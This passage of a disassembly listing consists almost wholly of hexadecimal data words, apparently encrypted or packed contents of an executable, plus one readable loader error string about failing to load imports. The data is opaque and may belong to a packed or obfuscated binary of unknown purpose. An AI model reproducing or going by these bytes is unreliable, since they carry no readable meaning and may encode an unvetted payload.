		dd 488D18A6h, 0E0A3A613h, 703CBEF8h, 0F46BA015h, 30A7E253h
		dd 63443371h, 9513C2A7h, 8C0ACF76h, 3BA0E306h, 0AA791675h
		dd 97C8FD45h, 0C689528Fh, 17708B11h, 0E38BF468h, 0E2397F76h
		dd 0D7367463h, 0D734305h, 0DB675F19h, 8B5C6098h, 99513C4h
		dd 46F9BF38h, 0F3D4D207h, 0DDF39F68h, 0E84C0DAAh, 0A48503ABh
		dd 35796337h, 220783F8h, 0B5F9E1B9h, 5DA8E556h,	0A700FE64h
		dd 3ABE8B6h, 0A4DB106Fh, 0ABE85603h, 2AB08F03h,	81E4A257h
		dd 7CDD9D5Eh, 3ABE8FBh,	0EAEA5D2Ah, 0A11E5FAEh,	0D3DF1B5Ah
		dd 0CCD20948h, 0C3B3F5B9h, 13E36D7Dh, 6E7432A7h, 4DD8DE1Bh
		dd 0AF0EE74h, 0E86AEB4Ch, 0CCBB03ABh, 8AC77497h, 0A1551497h
		dd 745586E5h, 0ABE8222Bh, 0D079F803h, 3ABE89Fh,	0BAE0F9B6h
		dd 7760C1CDh, 716BEA31h, 75F5DE2Dh, 0C6C43581h,	2A7069D8h
		dd 0EC1150D3h, 262C05A6h, 0B5BA1F02h, 5C03ABEBh, 5FAEECEDh
		dd 4425A11Eh, 6F30A96h,	94353418h, 3ABEBB3h, 0E051F679h
		dd 3103ABEBh, 4E25617Ah, 26F44EDBh, 0E5D27A4Fh,	6E18C6C4h
		dd 0B4A72369h, 2384BBAFh, 1FAC2C3h, 9479B029h, 1B0B249Ah
		dd 78EF44C2h, 0D3FFC339h, 0AD2A6C6Eh, 18839CEFh, 1FE01F41h
		dd 56F376A3h, 0F9FA7AE5h, 0F30A473Ch, 32351906h, 850BF0B3h
		dd 8BD4F566h, 418121Fh,	0C5A2F9B6h, 0F7DC15A8h,	0FB9F67ECh
		dd 35D958C0h, 0C1661956h, 0A3E5D01h, 0AF8A730h,	67A2CC77h
		dd 6790D32Ah, 860D4EEBh, 6FC4EDBEh, 576EF532h, 287DF89Fh
		dd 49049h, 7632A400h, 0D9DD1968h, 8C4C3Dh, 6A30A79Ah, 0D2E01D6Ch
		dd 0C7D8BF34h, 3F028816h, 99E8F6BCh, 0CEB35F63h, 5F078309h
		dd 0A9D08126h, 1C01F9F1h, 4939AEDEh, 0E888DA3Dh, 40CDA607h
		dd 6E5CFD6Ch, 8101FA43h, 157034A0h, 37106BA0h, 0F9FA433Bh
		dd 53D6AE28h, 3FE7097Eh, 0B42Dh, 2B881100h, 0B3FC18B9h
		dd 27C1363Bh, 6D149957h, 0C1CD3ADDh, 0A5510B16h, 0E4519AE1h
		dd 38A3E265h, 4F08516Ah, 86FC18EDh, 0E61352A9h,	4873AA0h
		dd 18EDB2A3h, 31463FCh,	95E59E4Eh, 0C0B902E4h, 3E726741h
		dd 6DB8F5BBh, 0D8CB3E8h, 8E0CCB8Ah, 0EC6DFE7Fh,	25FC18B6h
		dd 0C7ACCD4Eh, 0CFAC3497h, 0FCAC95FEh, 0E65FC18h, 58374FFh
		dd 35268302h, 0ECFC18FCh, 67503697h, 9F1BDEF8h,	0AE1B505Eh
		dd 0FC411EBBh, 4FE8FC18h, 746CF3CFh, 831A57E5h,	18F589A6h
		dd 0A292DCFCh, 180F3F22h, 18F5A2BFh, 2F64BFCh, 2D2E8BBEh
		dd 0E4FC18F5h, 15B4528Fh, 0A9h,	577B1829h, 0E35777D0h
		dd 0B18E01FAh, 0A2F0EB6Ah, 0CC2A3324h, 0FA92EA6Bh, 0CB4C3BF9h
		dd 1DB2788Dh, 0CE71AE3Fh, 0FA4DEC69h, 0DB4E25F9h, 0CF5E6298h
		dd 49163D8Eh, 0F9FA4D33h, 53D6AE28h, 3FE7037Eh,	642Dh
		dd 7F181100h, 0D4BB2C53h, 67494B9Fh, 6BB2A9A2h,	3F506855h
		dd 95C663AEh, 57FC181Ah, 4A5E314h, 1352A986h, 3B3CDAE8h
		dd 880B3E12h, 0B7A8A81Fh, 66F7065Ch, 81A585CAh,	4C953681h
		dd 0FC181BC7h, 8DEA310Eh, 0FC185BF0h, 0BFCBBBA5h, 5BDA9B3Ch
		dd 3C0BFC18h, 38810DCDh, 77EAC64Fh, 185BADD2h, 38FE4FCh
		dd 23696E45h, 0E41659D8h, 97400FD8h, 5DC2F511h,	0B95506A3h
		dd 0B78CFC18h, 9462C77Ah, 8F01FAD8h, 770C55B0h,	64F9FAA6h
		dd 429F12E2h, 0EB3FE62Eh, 1C6F2DA8h, 4C810EDFh,	0A5000000h
		dd 0D0577B18h, 0B9470851h, 0A19EFC18h, 3E309918h, 0D101FAD1h
		dd 8100039Ah, 0FAA13738h, 4891EEF9h, 0FAA152EFh, 41C041F9h
		dd 0FAA177F8h, 8D1AEF9h, 89C8764Eh, 0A4E99151h,	9524B66Ah
		dd 3F88CD58h, 0E6CFD60Bh, 0BD753Fh, 0AE490000h,	5BA2E8EFh
		dd 5186C912h, 0E71304Bh, 31BAC1C7h, 6434A9A8h, 0A9FC2977h
		dd 6935A7E6h, 0A2E81150h, 0D9DF185Bh, 0BEF5AA3Dh, 12C7FC18h
		dd 0BE3B0E94h, 0CF54ADF8h, 0C3C3641Bh, 7201FAD2h, 7C9E4D9h
		dd 0BCB210Eh, 82FF7C8Fh, 818E4955h, 811DBAADh, 28041F7Eh
		dd 6D6D2C53h, 56199821h, 0EB24C3A5h, 0B453D30Bh, 0C3388675h
		dd 2B7962C7h, 7F076FCEh, 3C0762FEh, 1D9h, 21ADE9EFh, 8A109440h
		dd 537F43B7h, 25A1E7EEh, 8D099744h, 0CD0E8F76h,	7366DBC7h
		dd 1AC0A12Dh, 0C0390896h, 9110DCFAh, 0F1AA0748h, 9757DEF9h
		dd 0BB276D6Eh, 31228706h, 0E0FC18B9h, 0CA0F328Bh, 1818C6CCh
		dd 0CEA05D7Bh, 0F5ACE68Fh, 665D23Bh, 70E998D5h,	0EC0FAA10h
		dd 0CF2B4BE8h, 0EF1B2410h, 41E629B2h, 1FAD711h,	37106BC0h
		dd 0F9FAA73Ah, 50D7AF29h, 3FE6317Dh, 0BFD2h, 2FAE1400h
		dd 18B9C98Ah, 3C2318FCh, 18B9DA9Bh, 0AB3C0BFCh,	167533A4h
		dd 0E1602EAFh, 6FFF2068h, 0E425A856h, 0B27D0F2Eh, 7510A9E6h
		dd 183F772Ch, 169445FCh, 67E07988h, 18D48845h, 167531A5h
		dd 105F68A5h, 682EABE7h, 721FE833h, 9C8E2B5Eh, 3701FACFh
		dd 0F4995278h, 790851D0h, 9C041F5Fh, 0A821A0A7h, 73C314Bh
		dd 74FBCC61h, 0AC9D3987h, 0F304612Fh, 0B6FE7F05h, 0DF70D3h
		dd 0E3150000h, 8E463BA7h, 3DBD8C0Ah, 0E1145571h, 914A3FDBh
		dd 89688703h, 0DDF9C734h, 0BB276D6Ch, 28814C6h,	0D6FCBA3Fh
		dd 13297EEh, 0D0F9F1ADh, 6D6E69ADh, 11C6BB27h, 6DFA0F8Bh
		dd 7A163D6h, 5713B442h,	0A1EDEFAEh, 1AA05918h, 11974083h
		dd 0E6AA2F6Eh, 1A53AAEEh, 0AA1D5EADh, 0D11A612Fh, 34591208h
		dd 16C81110h, 0C90201C1h, 2FA82B72h, 5DDC6D69h,	0F1B07BFCh
		dd 0CDDAAF9h, 0DD1C9445h, 39AD7h, 0F4975797h, 5D6E07D9h
		dd 36B1E5F4h, 8E662038h, 4EF1B720h, 29E96ACFh, 4338BBA8h
		dd 1CDDAC7Ah, 85040F9Eh, 0A8293324h, 3495E2BBh,	0B9CCCA0Dh
		dd 3F3BF36h, 0B0334A87h, 0D1054448h, 0EE68B6D5h, 5E18A216h
		dd 0D9DF1866h, 78B4C3Dh, 0A91CED4h, 82Bh, 30A9E800h, 0A795516Ah
		dd 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h
		dd 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h, 8952F278h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 242C895Ch, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 68243C89h, 10C2h,	53243489h
		dd 0D40D8ABBh, 166EBF55h, 0EF815BBDh, 5609692Bh, 0C781DF29h
		dd 5609692Bh, 348B545Bh, 4C48124h, 57000000h, 81243481h
		dd 8F6DD876h, 0B9510846h, 8, 3181F101h,	6DD87681h, 24348B59h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 815F2434h
		dd 4C4h, 6A01E900h, 347DFFF9h, 7FB8C3DDh, 305E915h, 3E0FFC5h
		dd 1D0B0F4Ch, 5E7D657Fh, 5118692Eh, 8F3781C2h, 0A45C0903h
		dd 28662C22h, 4764778Dh, 0A11C2DF6h, 3568BA0Fh,	1D283D49h
		dd 904FFFA5h, 0E6599E0h, 6D6C4DE7h, 5A615ACEh, 2A26513Ah
		dd 40CCD2Dh, 270F9773h,	0C925B4E2h, 4030587h, 0FC68F8F0h
		dd 0E8187E39h, 7, 9378A99Fh, 0FF88B9Bh,	0F5ADEBFh, 0C281F7BFh
		dd 744Bh, 0E9BFCA8Bh, 0E800001Ch, 0Eh, 0D7ED8257h, 5EB11814h
		dd 0B2A8B1Dh, 0B70F47F8h, 28B5ECBh, 0E25AE881h,	0CE8B75ACh
		dd 2522C081h, 0E8811A6Fh, 7097E8B7h, 11E8h, 231A5D00h
		dd 10865A51h, 183E06EEh, 408C90ABh, 0C3802806h,	8F505E20h
		dd 73BB6602h, 4EA83DFh,	2BD68166h, 1EF835Bh, 1A850Fh, 0D3810000h
		dd 6025BE76h, 26E9h, 0DF109D00h, 0E29F95ACh, 0EEE5FC40h
		dd 0F468AA81h, 0ABF18166h, 0FF94E9B3h, 0CF4BFFFFh, 87D89017h
		dd 5A7E10F6h, 0E90C6F1Dh, 127h,	73765B50h, 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	8B8F96A6h
		dd 1137F778h, 35B11C13h, 41D00D63h, 722B6166h, 0A9F29E35h
		dd 88321177h, 756F90EFh, 0BFBF1084h, 14D6A79Ch,	0D069C699h
		dd 5C37A8E5h, 56321084h, 0A9614571h, 88321177h,	756F90EFh
		dd 0BFBF1084h, 14D6BA8Fh, 0D069C699h, 0F9B1D5EDh, 27DB021Eh
		dd 1B61A66h, 5321566h, 0ACC086E3h, 0AFE2EA63h, 0F9C0D6E3h
		dd 4EE2EA63h, 0A6385CE3h, 705A4363h, 0EEAEBDDEh, 6A24B4D3h
		dd 25B79863h, 0DD37F01Ch, 3CB79CB6h, 537F76Dh, 0AD2A5DE3h
		dd 0A7BF4563h, 14DB024Fh, 1A7EA36h, 8337F77Ch, 0C03580E3h
		dd 11321563h, 0C1B7D366h, 137F76Ch, 505B7C0Eh, 3C87EAE8h
		dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F31DD8E3h, 0C1B7D363h
		dd 737F76Ch, 45594B0Eh,	3C87EAFAh, 537F740h, 0A60BF8E3h
		dd 0ABE2EA63h, 0F82575E3h, 0C1B7D363h, 1037F76Ch, 405A3C0Eh
		dd 3C87EA88h, 537F740h,	0A60BF8E3h, 0ABE2EA63h,	0F82571E3h
		dd 0C1B7D363h, 137F76Ch, 420AD70Eh, 3C87EABCh, 537F740h
		dd 0A60BF8E3h, 0ABE2EA63h, 0F8257DE3h, 318F9663h, 4437F766h
		dd 22779069h, 94F41566h, 8DD01F2Fh, 3AB47D23h, 97CDEF46h
		dd 14D0334Bh, 0B1DF90EBh, 94CD1084h, 355E90EFh,	94F4108Fh
		dd 8DD01F2Fh, 94F17D2Ah, 97CDF540h, 14D0334Bh, 0B1DF90EBh
		dd 94CD1084h, 354290EFh, 51DB108Fh, 4E321566h, 0A6385CE3h
		dd 2F5A4763h, 0EE8E5F82h, 6A3B04D3h, 0A9B79863h, 0DD37F75Fh
		dd 7DB79CB6h, 4E37FC71h, 0A6385CE3h, 6A5A4763h,	0EE94592Ch
		dd 6A3B04D3h, 0A9B79863h, 0DD37F75Fh, 61B79CB6h, 4E37FC71h
		dd 0A6385CE3h, 0C85A4763h, 0EECF57D2h, 6A1438D3h, 0A9B79863h
		dd 0DD37F75Fh, 0A4B79CB6h, 4E37F761h, 0A6385CE3h, 815A6263h
		dd 0EEC182CEh, 6A2718D3h, 0A9B79863h, 0DD37F75Fh, 94B79CB6h
		dd 4E37F74Ah, 0A6385CE3h, 355A4763h, 0EEB8C857h, 6A1438D3h
		dd 0A9B79863h, 0DD37F75Fh, 0F4B79CB6h, 4E37F76Eh, 0A6385CE3h
		dd 1B5A4363h, 0EEE60A0Bh, 6A24B4D3h, 25B79863h,	0DD37F01Ch
		dd 94B79CB6h, 4E37F763h, 0A6385CE3h, 585A5263h,	0EEB3C976h
		dd 6A1438D3h, 0A9B79863h, 0DD37F75Fh, 74B79CB6h, 4E37F763h
		dd 0A6385CE3h, 0C05A5263h, 0EEB81AD3h, 6A1438D3h, 0A9B79863h
		dd 0DD37F75Fh, 81B79CB6h, 0B37FC71h, 0A627CCDBh, 0A63D1563h
		dd 11321337h, 827B90A0h, 2C7E1084h, 0FBE8098Fh,	371FA099h
		dd 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB021Ah,	827B90A0h
		dd 2C7E1084h, 0FF46CBA8h, 371FA099h, 0DBF1084h,	41D02C8Bh
		dd 0A7BBC599h, 14DB02E6h, 827B90A0h, 2C7E1084h,	95B39759h
		dd 371FA099h, 0DBF1084h, 41D02C8Bh, 0A7BBC599h,	14DB02E2h
		dd 827B90A0h, 2C7E1084h, 911D557Eh, 371FA099h, 0DBF1084h
		dd 41D02C8Bh, 0A7BBC599h, 14DB02E2h, 827B90A0h,	2C741084h
		dd 98EC1372h, 371FA099h, 0DBF1084h, 41D02C8Bh, 0A7BBC599h
		dd 14DB02EAh, 827B90A0h, 2C751084h, 0A3EE051Ch,	371FA099h
		dd 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB02F2h,	827B90A0h
		dd 2C751084h, 0CDB59BCAh, 371FA099h, 0DBF1084h,	41D02C8Bh
		dd 0A7BBC599h, 14DB02FEh, 827B90A0h, 2C751084h,	0F6A8B2B4h
		dd 371FA099h, 0DBF1084h, 41D02C8Bh, 0A7BBC599h,	14DB02FAh
		dd 827B90A0h, 2C751084h, 98F32C62h, 371FA099h, 0DBF1084h
		dd 41D02C8Bh, 0A7BBC599h, 14DB02C6h, 0AAFFA8E5h, 31321084h
		dd 6BB7D346h, 5637F76Ch, 0FA1F720Eh, 6987EA86h,	0AF37F740h
		dd 0F30BF8E3h, 1E2EA63h, 0AD25B1E3h, 6BB7D363h,	5637F76Ch
		dd 0A181A40Eh, 6987EAE8h, 0AF37F740h, 0F30BF8E3h, 1E2EA63h
		dd 0AD25BDE3h, 6BB7D363h, 5237F76Ch, 0FE78B20Eh, 6987EAA6h
		dd 0AF37F740h, 0F30BF8E3h, 1E2EA63h, 0AD25B9E3h, 6BB7D363h
		dd 5D37F76Ch, 0EE5EFE0Eh, 4987EA9Dh, 0AF37F773h, 0F30BF8E3h
		dd 1E2EA63h, 0AD2A55E3h, 6BB7D363h, 5537F76Ch, 0FBBC400Eh
		dd 6987EADDh, 0AF37F740h, 0F30BF8E3h, 1E2EA63h,	0AD25A5E3h
		dd 6BB7D363h, 5237F76Ch, 65CE90Eh, 6987EADAh, 0AF37F740h
		dd 0F30BF8E3h, 1E2EA63h, 0AD25A1E3h, 6BB7D363h,	4237F76Ch
		dd 980CBF0Eh, 6987EAA0h, 0AF37F740h, 0F30BF8E3h, 1E2EA63h
		dd 0AD25ADE3h, 238F9663h, 1137F74Bh, 88D29169h,	0C1F41566h
		dd 27D01F2Fh, 0DF037D20h, 3DCDEFF0h, 41D0334Bh,	1BDF90EBh
		dd 0C1CD1084h, 902690EFh, 0C1F4108Fh, 27D01F2Fh, 2BE47D20h
		dd 3DCDE9C1h, 41D0334Bh, 1BDF90EBh, 0C1CD1084h,	901690EFh
		dd 0C1F4108Fh, 27D01F2Fh, 0B5327D20h, 3DCD879Ah, 41D0334Bh
		dd 1BDF90EBh, 0C1CD1084h, 901A90EFh, 0C1F4108Fh, 27D01F2Fh
		dd 5E587D20h, 3DCDE3B2h, 41D0334Bh, 1BDF90EBh, 0C1CD1084h
		dd 901E90EFh, 0C1F4108Fh, 27D01F2Fh, 41D57D20h,	3DCD81ABh
		dd 41D0334Bh, 1BDF90EBh, 0C1CD1084h, 902A90EFh,	0C1F4108Fh
		dd 27D01F2Fh, 65097D20h, 3DCDA444h, 41D0334Bh, 1BDF90EBh
		dd 0C1CD1084h, 902E90EFh, 0C1F4108Fh, 27D01F2Fh, 0FBDF7D20h
		dd 3DCDCA1Fh, 41D0334Bh, 1BDF90EBh, 0C1CD1084h,	901290EFh
		dd 0F9B1108Fh, 27D037ABh, 0D7126066h, 6A385CE3h, 1A5A4663h
		dd 0DDFCAB86h, 0F31438D3h, 65B79863h, 0BB37F75Fh, 9EB79CB6h
		dd 0D737FC71h, 6A385CE3h, 0C35A5263h, 0DDF5A438h, 0F31438D3h
		dd 65B79863h, 0BB37F75Fh, 0E2B79CB6h, 9237FC71h, 6A10D8DBh
		dd 64471563h, 287B90A0h, 79751084h, 6E506B63h, 621FA099h
		dd 0A7BF1084h, 14D02C8Bh, 0DBBC599h, 41DB02A2h,	287B90A0h
		dd 79711084h, 1A481C90h, 621FA099h, 0A7BF1084h,	14D02C8Bh
		dd 0DBBC599h, 41DB02AEh, 287B90A0h, 79711084h, 74138246h
		dd 621FA099h, 0A7BF1084h, 14D02C8Bh, 0DBBC599h,	41DB02AAh
		dd 0FFA8E5h, 64321084h,	0C1B7D326h, 737F76Ch, 229A160Eh
		dd 3C87EAEDh, 537F740h,	0A60BF8E3h, 0ABE2EA63h,	0F825C1E3h
		dd 0C1B7D363h, 737F76Ch, 7904C00Eh, 3C87EA83h, 537F740h
		dd 0A60BF8E3h, 0ABE2EA63h, 0F825C5E3h, 0C1B7D363h, 737F76Ch
		dd 8800F40Eh, 3C87EA8Ch, 537F740h, 0A60BF8E3h, 0ABE2EA63h
		dd 0F825CDE3h, 0C1B7D363h, 737F76Ch, 0D39E220Eh, 3C87EAE2h
		dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825C9E3h, 0C1B7D363h
		dd 0B37F76Ch, 17A2C10Eh, 3C87EAF1h, 537F740h, 0A60BF8E3h
		dd 0ABE2EA63h, 0F825F5E3h, 0C1B7D363h, 0B37F76Ch, 4C3C170Eh
		dd 3C87EA9Fh, 537F740h,	0A60BF8E3h, 0ABE2EA63h,	0F825F1E3h
		dd 0C1B7D363h, 937F76Ch, 154B5C0Eh, 3C87EAAEh, 537F740h
		dd 0A60BF8E3h, 0ABE2EA63h, 0F825F9E3h, 0C1B7D363h, 937F76Ch
		dd 0D57F9C0Eh, 3C87EABAh, 537F740h, 0A60BF8E3h,	0ABE2EA63h
		dd 0F825FDE3h, 0C1B7D363h, 1137F76Ch, 391F220Eh, 3C87EAFAh
		dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825E5E3h, 0C1B7D363h
		dd 737F76Ch, 0F7C23F0Eh, 3C87EAB4h, 537F740h, 0A60BF8E3h
		dd 0ABE2EA63h, 0F825E1E3h, 0C1B7D363h, 1637F76Ch, 6086FF0Eh
		dd 3C87EA9Bh, 537F740h,	0A60BF8E3h, 0ABE2EA63h,	0F335A0E3h
		dd 0C1B7D363h, 337F76Ch, 0BA6B8C0Eh, 3C87EA84h,	537F740h
		dd 0A60BF8E3h, 0ABE2EA63h, 0F825EDE3h, 0C1B7D363h, 337F76Ch
		dd 0DF52D70Eh, 3C87EAD7h, 537F740h, 0A60BF8E3h,	0ABE2EA63h
		dd 0F825E9E3h, 0C1B7D363h, 337F76Ch, 84CC010Eh,	3C87EAB9h
		dd 537F740h, 0A60BF8E3h
		dd 0ABE2EA63h, 0F82A15E3h, 0C1B7D363h, 1B37F76Ch, 72C07D0Eh
		dd 3C87EAF8h, 537F740h,	0A60BF8E3h, 0ABE2EA63h,	0F82A11E3h
		dd 0C1B7D363h, 0B37F76Ch, 0DE492A0Eh, 3C87EAA1h, 537F740h
		dd 0A60BF8E3h, 0ABE2EA63h, 0F82A25E3h, 0C1B7D363h, 337F76Ch
		dd 795C590Eh, 3C87EA9Ch, 537F740h, 0A60BF8E3h, 0ABE2EA63h
		dd 0F82A21E3h, 0C1B7D363h, 337F76Ch, 2416D80Eh,	3C87EAA5h
		dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F82A2DE3h, 0C1B7D363h
		dd 1B37F76Ch, 9952D90Eh, 3C87EAB2h, 537F740h, 0A60BF8E3h
		dd 0ABE2EA63h, 0F82A1DE3h, 0C1B7D363h, 1B37F76Ch, 0CB665B0Eh
		dd 3C87EAF8h, 537F740h,	0A60BF8E3h, 0ABE2EA63h,	0F82A19E3h
		dd 0C1B7D363h, 1B37F76Ch, 311A5D0Eh, 3C87EAB7h,	537F740h
		dd 0A60BF8E3h, 0ABE2EA63h, 0F82A05E3h, 0E0367F63h, 44320566h
		dd 2222150Eh, 0EE327F66h, 6A3938F3h, 99B79C63h,	0AF37F778h
		dd 0F9E3FBE3h, 0E2E2EA63h, 54327D62h, 225A1566h, 7B321546h
		dd 0A5A7EA66h, 0CD37F76Dh, 0C039A8E3h, 58B79C63h, 0E237F767h
		dd 54327D26h, 225A1566h, 7B321466h, 0A5A7EA66h,	0CD37F76Dh
		dd 0C03AC4E3h, 10879E63h, 337F763h, 0A62C48FBh,	17879C63h
		dd 9837F768h, 6A3F3CFBh, 19AF9E63h, 0A937F778h,	11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 0F3339CE3h, 880EAB63h
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
		dd 9FBB0D18h, 14D00C6Fh, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 63380EFh, 15581084h
		dd 8822150Eh, 44584766h, 291F8099h, 94BB1084h, 8DD00997h
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 998F9EB1h, 0A137F778h
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 6A339CE3h
		dd 0CDA79E63h, 1B37F767h, 0F32B1CF3h, 82B61A63h, 1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 27D0371Bh
		dd 11321566h, 0A97790A1h, 44321084h, 9FB11566h,	14DB021Eh
		dd 80B61A66h, 0C9321566h, 0CA51BEFBh, 0EEE1EA63h, 6A3AECE3h
		dd 0BD8F9663h, 4637F76Eh, 11509769h, 0DF51566h,	41D01D9Fh
		dd 22321567h, 41879806h, 537FC7Eh, 0AD06AEDBh, 0A9CC3E63h
		dd 0CC8F9EB1h, 0B37F778h, 8401EAAFh, 0E30013ECh, 96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 816B905Fh
		dd 0C03D1084h, 22321571h, 0D93A8E5h, 87321084h,	44321FE3h
		dd 0B7B7D266h, 1037F761h, 0E9321566h, 4CE902DFh, 0CEC0AF0Ch
		dd 989F6B91h, 6A3C20D3h, 0B874D263h, 22321566h,	0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 1F07A0EFh, 71DB1084h, 0CF32156Eh
		dd 0B7B726BEh, 0D037F761h, 4A1916AEh, 7722D5A7h, 0B7AF9CA7h
		dd 2C37F761h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 6A3C20D3h
		dd 19AF9E63h, 0A937F778h, 71E29E6Dh, 0D19D7EDh,	41D018EFh
		dd 2130F5A7h, 0F339B8E3h, 8B9F8363h, 60769CA7h,	5EDB747Ah
		dd 40321566h, 3FB2634h,	0A62EE4F3h, 2D302E63h, 11322DE2h
		dd 8CF09666h, 4DBF2E27h, 2D37F77Fh, 0EECDFDE3h,	0BD879899h
		dd 0C937FC71h, 0C01F98DBh, 0D1B6B963h, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 0CABF9866h, 0BB37F72Ah, 0ABBF9C87h
		dd 4B37F767h, 15B9433Fh, 41D00B3Bh, 0A7B91EEDh,	14D014EFh
		dd 0D31F5B7h, 41D00C13h, 44A4E355h, 13D2D4CBh, 839F9065h
		dd 0E9A41084h, 0A16CD465h, 0F32AA4DBh, 0C3D1463h, 4432155Fh
		dd 41F985Dh, 953D1084h,	8832154Bh, 513F985Dh, 0A63D1084h
		dd 11321547h, 99BB985Dh, 0C03D1084h, 22321573h,	3DA188EBh
		dd 5BCD108Fh, 0C1BBEDEDh, 27D0254Fh, 1134A18Fh,	1BAF9866h
		dd 0BB37FC4Ah, 938F96B5h, 1137F77Eh, 882F9169h,	0C1091566h
		dd 27D0053Fh, 113E9169h, 0D091566h, 41D00823h, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 0A61DD8E3h, 3AB71A63h, 92321566h
		dd 6A32ACDBh, 0C13D1563h, 2232156Dh, 105090EBh,	1DDB108Fh
		dd 7FCDEA99h, 0C01DD8E3h, 98B61A63h, 0BCDEA99h,	0AD2524DBh
		dd 0A73D1463h, 11321571h, 9FA2905Dh, 0C13D108Fh, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 0FB8F9699h, 1137F773h
		dd 8B559169h, 0C1091566h, 27DB021Ah, 94B91213h,	8DD005E7h
		dd 0C0B72E21h, 5737FC71h, 6CB79E61h, 0CF37F766h, 53B2905Dh
		dd 2547108Fh, 306B90EDh, 0B3751084h, 0AD259DE3h, 0A9356063h
		dd 0F332B0E3h, 0D095263h, 41DB02EAh, 0A7B91213h, 14D034DBh
		dd 18B72E21h, 3137FC71h, 0FBB79E61h, 5637F74Dh,	9FA6905Dh
		dd 4347108Fh, 354390EDh, 2A751084h, 61258DE3h, 0CF356063h
		dd 0C02958E3h, 94095263h, 8DDB02FAh, 0C1B91213h, 27D0021Fh
		dd 0B1B72E21h, 0FD37FC71h, 0A1B79E61h, 6537F769h, 69A905Dh
		dd 8F47108Fh, 5DF790EDh, 19751084h, 0F825B1E3h,	0B226063h
		dd 0A610D8DBh, 25471563h, 30B390EDh, 0B751084h,	0A637B0DBh
		dd 2D461563h, 902905Dh,	8F47108Fh, 4DFB90EDh, 0A1751084h
		dd 0F31F14DBh, 0FA461563h, 407BA8E5h, 56321084h, 5B72E0Fh
		dd 0FD37FC7Eh, 0A5B79E61h, 6537F74Dh, 916905Dh,	8F47108Fh
		dd 5B8390EDh, 19751084h, 0F82A0DE3h, 3356063h, 0A6298CE3h
		dd 0A7095263h, 14DB0D4Eh, 0DB91213h, 41D00B1Bh,	0EB72E21h
		dd 6437FC7Eh, 65B79E61h, 337F74Dh, 3A2E905Dh, 1647108Fh
		dd 8D6F90EDh, 7F751084h, 0CB2A35E3h, 9A356063h,	6A26B8E3h
		dd 0F9B15263h, 27D0112Fh, 1BB61A66h, 0B3321564h, 0AD25B9E3h
		dd 0A9356063h, 0F338E4E3h, 0D095263h, 41DB0D26h, 0A7B91213h
		dd 14D00023h, 38B72E21h, 3137FC71h, 0D3B79E61h,	5637F76Eh
		dd 9F86905Dh, 4347108Fh, 399F90EDh, 2A751084h, 6125ADE3h
		dd 0CF356063h, 0C016D0E3h, 94095263h, 8DDB02DAh, 0F9B10513h
		dd 27D037ABh, 9A356066h, 6A3E68E3h, 0C1095263h,	27DB02A6h
		dd 94B91213h, 8DD0250Fh, 80B72E21h, 5737FC71h, 0DC8F9676h
		dd 8837F744h, 0C1B91213h, 27D005DBh, 0D9B72E21h, 0FD37FC71h
		dd 0A1B79E61h, 6537F770h, 6FE905Dh, 8F47108Fh, 594790EDh
		dd 19751084h, 0F825C1E3h, 0B226063h, 0A610D8DBh, 25471563h
		dd 3DBF90EDh, 0B3751084h, 0AD25C5E3h, 0A1226063h, 0F310D8DBh
		dd 8F471563h, 4EEB90EDh, 19751084h, 0F825CDE3h,	3356063h
		dd 0A61ED8E3h, 0A7095263h, 14DB02BAh, 0DB91213h, 41D01CE3h
		dd 0C2B72E21h, 6437FC71h, 81B79E61h, 337F77Ah, 35D6905Dh
		dd 1647108Fh, 8BC790EDh, 7F751084h, 0CB25FDE3h,	9A356063h
		dd 6A2AECE3h, 0C1095263h, 27DB028Ah, 94B91213h,	8DD0271Fh
		dd 0B4B72E21h, 5737FC71h, 98B79E61h, 0CF37F74Fh, 53C6905Dh
		dd 2547108Fh, 95F90EDh,	0B3751084h, 0A635A0E3h,	0A9356063h
		dd 0F33388E3h, 0D095263h, 41DB029Eh, 0A7B91213h, 14D0251Bh
		dd 0BCB72E21h, 3137FC7Eh, 1E8F967Fh, 1137FC7Eh,	35B11C13h
		dd 41D00DD7h, 0A9356166h, 0F32878E3h, 0D095263h, 41DB0D5Eh
		dd 9FB10C13h, 14DB0D5Ah, 0B3B6066h, 0A62AA4DBh,	25461563h
		dd 156790EDh, 0B3751084h, 0AD25E9E3h, 0A9356063h, 0F33AC8E3h
